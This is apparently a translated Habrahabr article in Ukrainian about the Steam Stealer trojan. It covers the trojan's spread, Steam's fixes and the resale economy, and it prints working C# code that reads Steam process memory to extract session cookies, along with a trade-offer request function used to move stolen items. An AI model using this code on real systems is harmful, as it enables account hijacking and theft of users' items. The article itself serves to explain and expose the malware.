Steam Stealer або троян, крадущий речі в Steam. Історія появи і схема роботи

Написати статтю спонукала публікація «Троян, який краде предмети з інвентарю Steam».
Моя стаття містить:
1) Історію появи і поширення в рунеті;
2) Історію боротьби «Стима» з цим шкідником;
3) За рахунок чого шахраї отримують прибуток?
4) Що роблять в стиме у зв'язку з цими шахрайствами?
У статті немає повного вихідного коду або посилань, де можна його дістати/купити. Кому цікаво — ласкаво просимо під кат.

Історія появи і поширення в рунеті

Хто був початковим автором даного трояна — невідомо, перші згадки з'явилися в Америці на початку цього року. У рунеті ж цей троян з'явився і почав активно поширюватися тільки в середині-наприкінці літа.

Програма і ісходник з'явилися на початку серпня на одному популярному «читерском» порталі. Два друга знайшли зібраний і накритий троян, помітили, що він написаний на C# і зуміли витягнути досить заплутаний, але робочий вихідний код. Далі був зібраний форми і викладений на портал, через деякий час був викладений і переписаний у людський вигляд і исходник. Починаючи з цього моменту згадки про нього можна знайти скрізь. Тільки дуже ледачий і малоактивному форумі не можна було знайти якщо не копію робочого макету, то людину, що продає готовий «білд».

Загальна схема роботи:


З процесу «Стима» регуляркой выдираются дві cookie-запису SteamLogin і SteamLoginSecure:

WinApis.SYSTEM_INFO sYSTEM_INFO = default(WinApis.SYSTEM_INFO);
while (sYSTEM_INFO.minimumApplicationAddress.ToInt32() == 0)
{
WinApis.GetSystemInfo(out sYSTEM_INFO);
}
IntPtr minimumApplicationAddress = sYSTEM_INFO.minimumApplicationAddress;
long num = (long)minimumApplicationAddress.ToInt32();
List<string> list = new List < string>();
Process[] array = array = Process.GetProcessesByName("steam");
Process process = null;
for (int i = 0; i < array.Length; i++)
{
try
{
foreach (ProcessModule processModule in array[i].Modules)
{
if (processModule.FileName.EndsWith("steamclient.dll"))
{
process = array[i];
break;
}
}
}
catch
{
}
}
if (process != null)
{
IntPtr handle = WinApis.OpenProcess(1040u, false, process.Id);
WinApis.PROCESS_QUERY_INFORMATION pROCESS_QUERY_INFORMATION = default(WinApis.PROCESS_QUERY_INFORMATION);
IntPtr intPtr = new IntPtr(0);
while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out pROCESS_QUERY_INFORMATION, 28u) != 0)
{
if (pROCESS_QUERY_INFORMATION.Protect == 4u && pROCESS_QUERY_INFORMATION.State == 4096u)
{
byte[] array2 = new byte[pROCESS_QUERY_INFORMATION.RegionSize];
WinApis.ReadProcessMemory(handle, pROCESS_QUERY_INFORMATION.BaseAdress, array2, pROCESS_QUERY_INFORMATION.RegionSize, out intPtr);
string @string = Encoding.UTF8.GetString(array2);
MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(@string);
if (matchCollection.Count > 0)
{
foreach (Match match in matchCollection)
{
if (!list.Contains(match.Value))
{
list.Add(match.Value);
}
}
}
}
num += (long)((ulong)pROCESS_QUERY_INFORMATION.RegionSize);
if (num >= 2147483647L)
{
break;
}
minimumApplicationAddress = new IntPtr(num);
}
this.ParsedSteamCookies = list;
}
}

Далі отримані дані підставляються у веб-запит, який надсилається на сервер і виходить сесія, ну і авторизація. Після цього у програми теоретично є повний доступ до всіх функцій клієнта Steam. Отримання списку итемов і відправка трейд-оффера була описана в попередній статті (код наведений в тій статті для відправки оффера — не робочий).

Історія боротьби стима з цим шкідником

З серпня Steam робив вже дві спроби боротьби з даним трояном. Хоча другу складно назвати реальною боротьбою, скоріше це був побічний ефект якогось апдейта.

Фікс перший. Початок вересня
Як я вже згадував вище, з клієнта парс 2 куки, але для відправки оффера (пропозиція обміну речами з зловмисником) достатньо було однієї з них (SteamLoginSecure). Фікс від Steam полягав у тому, що тепер потрібні були обидві. Як ви самі розумієте, «проблема» в роботі стилера була знайдена менше ніж за добу все тими ж майстрами. Ну а ще через пару днів вже нова дійова особа (не я) виклало виправлений вихідний код в загальний доступ.(втім, він зараз сильно лає цей свій вчинок).

Фікс другий. 17 листопада
Чесно кажучи, не відомо навіщо, але Steam вирішили додати 1 параметр запит на відправку оффера:

private string sentItems(string sessionID, string items, string[] Offer, string message = "")
{
return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", string.Concat(new string[]
{
"sessionid=",
sessionID,
"&partner=",
Offer[0],
"&serverid=1",
"&tradeoffermessage=",
Uri.EscapeDataString(message),
"&json_tradeoffer=",
Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[]
{
sessionID,
Offer[0],
message,
items,
Offer[2],
"{",
"}"
})),
"&trade_offer_create_params=",
Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2]))
}), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
}

А конкретно — параметр «serverid=1». Навіщо він потрібен і для чого його додали треба питати у розробників «Стима», але інших запитів де він міг би використовувався я не знаходив.

Хоча пояснити «ліниві» фікси від стима досить просто.

За рахунок чого шахраї (і стім!) отримують прибуток?

Всі ігрові цінності, які отримують шахраї, які продають за зниженою ціною на торговому майданчику. Тут я хочу нагадати, що Steam отримує 5% з усіх операцій на торговому майданчику. І 10% отримує розробник ігри, айтем якої був проданий. Враховуючи, що розробником найпопулярніших ігор з итемами і сервісу Steam є компанія Valve, цілком логічно, що вони не будуть особливо квапитися з фіксом, отримуючи ще 15% з кожного проданого итема.

Далі шахраї різними способами вже виводять гроші з «Стима». Так як безпосередньо це зробити не можна, вони використовують для продажу цінності самого сервісу Steam. Наприклад, ключі або гри (наскільки мені відомо, вони отримують приблизно 50-65 центів з долара).

Що роблять в Steam у зв'язку з цими шахрайствами?

На блокування аккаунта (а вірніше на блокування операцій купівлі/продажу/обміну), на який скидаються речі, у Steam йде до 7 днів. За цей час зловмисники найчастіше встигають позбутися отриманих итемов і вивести кошти з рахунку. Якщо аккаунт заблокований, з нього вже нічого не можна вивести. Максимум — грати в ті ігри, що на ньому.
Треба сказати, що в «Стиме» є практика повернення вкрадених речей, якщо вони не були продані на торговому майданчику. Але, припустимо, з підтримкою російської на це пішов місяць:

image

Епілог

Сам поширенням не займався. Вся інформація взята від людей, які займаються розробкою або розповсюдженням. Ціни на даний софт цілком ліберальні: 500-1000р за програмку, в яку вшитий аккаунт. Ісходник від 3.5 до рублів і вище — залежно від того, купується цей ісходник у розробника або у школяра, який його купив і тепер перепродує. У даний момент знаю про приблизно 4х різних розробників. Втім, між собою їх продукти практично нічим не відрізняються.

Ну і наостанок. Кращі антивіруси на даний момент за визначенням таких програм — це Bitdefender, Kaspersky, Eset Nod32. Вони визначають свіжі і досить пристойно обфусцированные/накриті версії трояна, втім, не завжди. Інші реагують досить довго. Навіть проста обфускація .Net додатки бентежить більшість антивірусів.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.